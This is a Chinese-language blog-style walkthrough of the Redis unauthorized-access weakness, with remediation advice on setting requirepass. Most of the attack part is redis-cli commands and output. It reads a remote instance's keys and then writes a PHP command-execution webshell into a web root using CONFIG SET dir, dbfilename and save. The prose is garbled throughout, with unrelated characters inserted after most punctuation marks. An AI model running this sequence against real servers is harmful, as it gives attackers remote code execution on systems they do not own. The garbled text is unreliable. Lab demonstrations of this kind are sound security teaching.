Redis是一個(gè)開源的使用ANSI C語言編寫援岩、支持網(wǎng)絡(luò)歼狼、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫享怀,并提供多種語言的API羽峰。從2010年3月15日起,Redis的開發(fā)工作由VMware主持添瓷。從2013年5月開始梅屉,Redis的開發(fā)由Pivotal贊助。
redis是一個(gè)key-value存儲(chǔ)系統(tǒng)鳞贷。和Memcached類似坯汤,它支持存儲(chǔ)的value類型相對更多,包括string(字符串)搀愧、list(鏈表)惰聂、set(集合)、zset(sorted set –有序集合)和hash(哈希類型)咱筛。這些數(shù)據(jù)類型都支持push/pop搓幌、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的迅箩。在此基礎(chǔ)上溉愁,redis支持各種不同方式的排序。與memcached一樣沙热,為了保證效率叉钥,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會(huì)周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件篙贸,并且在此基礎(chǔ)上實(shí)現(xiàn)了master-slave(主從)同步投队。
之前看SRC刷過Redis未授權(quán)訪問的漏洞
那么下面我來揭開它的神秘面紗!
首先我下載了安裝包爵川。
[ — 安裝過程 自行百度 –]
安裝好以后敷鸦,我們啟動(dòng)redis服務(wù):
/usr/share/redis/bin/redis-server /etc/redis.conf
vim /etc/redis.conf
在181行左右 我先注釋訪問密碼。
然后啟動(dòng)redis-server
[root@localhost 桌面]# ps -A | grep redis
3931 ? 00:00:00 redis-server
首先我先用客戶端連接服務(wù)器:
[root@localhost 桌面]# redis-cli
redis 127.0.0.1:6379> keys *
1) "about"
2) "user:id1"
3) "user:id2"
4) "admin"
5) "str"
redis 127.0.0.1:6379> get str
"ldjskjdsahdsaa"
redis 127.0.0.1:6379>
可以看到能直接操作數(shù)據(jù)庫寝贡。
下面我用另外一臺(tái)服務(wù)器做安全測試
[root@localhost 桌面]# redis-cli -h 10.10.3.215
redis 10.10.3.215:6379> keys *
1) "about"
2) "user:id1"
3) "user:id2"
4) "admin"
5) "str"
redis 10.10.3.215:6379>
發(fā)現(xiàn)也是可以直接操作數(shù)據(jù)庫
根據(jù)redis語句我們寫webshell….
前提是知道絕對路徑扒披,當(dāng)然也可以用語句判斷。
redis 10.10.3.215:6379> CONFIG SET dir /var/wwwroot/
(error) ERR Changing directory: No such file or directory
可以發(fā)現(xiàn)不存在圃泡,那么就可以猜解目錄了碟案。
下面我演示寫webshell
redis 10.10.3.215:6379> CONFIG SET dir /usr/share/apache/htdocs/ #這里是站點(diǎn)絕對路徑
OK
redis 10.10.3.215:6379> set shell "<?php echo system($_REQUEST[cmd])?>"
OK
redis 10.10.3.215:6379> CONFIG SET dbfilename shell.php
OK
redis 10.10.3.215:6379> save #將內(nèi)存中的數(shù)據(jù)保存到dbfilename中
OK
redis 10.10.3.215:6379>
這樣就getshell了
下面看看這個(gè)未授權(quán)原因
在剛才的配置文件中,有一個(gè)選項(xiàng)
設(shè)置客戶端連接后進(jìn)行任何其他指定前需要使用的密碼颇蜡。
警告:因?yàn)閞edis速度相當(dāng)快价说,所以在一臺(tái)比較好的服務(wù)器下辆亏,一個(gè)外部的用戶可以在一秒鐘進(jìn)行150K次的密碼嘗試,這意味著你需要指定非常非常強(qiáng)大的密碼來防止暴力破解
requirepass [密碼]
所以必須設(shè)置密碼鳖目。
出現(xiàn)這類漏洞就是 配置不得當(dāng)導(dǎo)致控制系統(tǒng) 執(zhí)行任意代碼 再深入還可以威脅主從服務(wù)器 及其他的數(shù)據(jù)庫服務(wù)器扮叨。